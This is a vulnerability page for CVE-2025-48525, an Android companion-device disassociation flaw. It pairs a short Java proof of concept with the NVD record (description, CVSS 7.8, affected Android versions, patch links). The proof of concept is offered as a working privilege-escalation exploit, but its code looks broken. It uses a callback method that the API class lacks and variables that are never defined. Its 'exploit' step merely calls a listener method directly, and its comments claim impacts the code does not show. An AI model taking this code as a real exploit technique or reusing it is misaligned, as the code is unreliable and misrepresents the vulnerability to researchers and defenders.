CVE-2025-48525

// CVE-2025-48525 PoC - Android DisassociationProcessor Local Privilege Escalation // This PoC demonstrates the improper input validation in DisassociationProcessor // Step 1: Create a companion device association CompanionDeviceManager cdm = context.getSystemService(CompanionDeviceManager.class); AssociationRequest request = new AssociationRequest.Builder() .setDeviceProfile("profile_name") .build(); cdm.associate(request, new CompanionDeviceManager.Callback() { @Override public void onServiceConnected(ComponentName name, IBinder service) { // Association established } }, null); // Step 2: Wait for association and perform legitimate operations // Application can read notifications when associated // Step 3: Trigger disassociation // Due to improper input validation in DisassociationProcessor.java, // the application can continue reading notifications after disassociation cdm.disassociate(associationId); // Step 4: Exploit - Continue reading notifications without proper association // The vulnerability allows the app to bypass the association check NotificationListenerService nls = new MaliciousNotificationListener(); nls.onNotificationPosted(sbn); // Impact: Local privilege escalation through improper input validation // Confidentiality: HIGH - Access to sensitive notification data // Integrity: HIGH - Potential data manipulation // Availability: HIGH - Service disruption possible

{"cve": {"id": "CVE-2025-48525", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.287", "lastModified": "2025-12-09T21:51:41.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In disassociate of DisassociationProcessor.java, there is a possible way for an app to continue reading notifications when not associated to a companion device due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/31989869759e9b6119dc1cf324c395d789024908", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://android.googlesource.com/platform/frameworks/base/+/5ec1cdae1805dec292a2de5554896363eaa078eb", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}